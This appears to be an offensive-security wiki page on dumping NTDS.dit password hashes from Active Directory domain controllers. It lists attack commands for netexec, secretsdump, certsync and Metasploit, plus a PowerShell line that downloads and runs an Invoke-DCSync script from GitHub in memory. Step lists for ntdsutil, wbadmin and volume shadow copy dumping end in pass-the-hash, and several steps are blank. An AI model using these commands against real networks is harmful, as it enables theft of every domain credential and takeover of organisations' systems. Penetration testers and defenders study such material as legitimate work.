githubEdit

NTDS Dumping

Dump NTDS from Domain Controller

Tools: CrackMapExec/Netexec , secretsdump , ntdsutil , metasploit , certsync

netexec smb DC_IP -u USER -p PASSWORD -d DOMAIN --ntds

impacket-secretsdump 'DOMAIN/USER:PASSWORD'@IP -just-dc-ntlm

windows/gather/credentials/domain_hashdump (Metasploit)

certsync -u USER -p PASSWORD -d DOMAIN -dc-ip DC_IP -ns NAMESERVER_IP

use auxiliary/admin/smb/psexec_ntdsgrab (Metasploit)

Invoke-DCSync

Load into memory

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-DCSync.ps1")

Execute

Invoke-DCSync -dcfqdn DC01.security.local -username administrator

Mimikatz

Dump hashes for a specified users

Dump hashes for all users

Dump hashes by injecting into the lsass process on the Domain Controller

PsMapExec

As current user

As a specified user

NTDSUtil

With these techniques you can move everywhere within the entire domain, as well as possibly compromise the Enterprise Admin (in this case it's game over)

DUMP DOMAIN CONTROLLER HASHES LOCALLY WITH NTDSUTIL

required files:

1) C:\windows\NTDS\ntds.dit

2) C:\windows\system32\config\SYSTEM

3) C:\windows\system32\config\SECURITY

Locating the ntds custom location: reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

1)

2) Transfer them to attacking machine

3)

DUMP DOMAIN CONTROLLER HASHES WITH WBADMIN

1) Create an new user that maches the "force user" parameter in the /etc/samba/smb.conf file:

2) Mount the share

3) Backup NTDS folder

4) Retrieve the version of the backup

5) Restore the NTDS file, specifying the backup version

6) Export the system hive

7) Transfer the ntds.dit file to our share

8) Transfer the system hive to our share

9) Dump hashes from NTDS

10) Do a Pass-the-Hash attack with wmiexec/smbexec/psexec or evil-winrm

11) PROFIT

CRACKMAPEXEC

1)

2)

3)

VOLUME SHADOW COPY (VSS)

1)

2)

3)

NTDS Reversible Encryption

UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.

The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.

1) List users with "Store passwords using reversible encryption" enabled

The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.

Last updated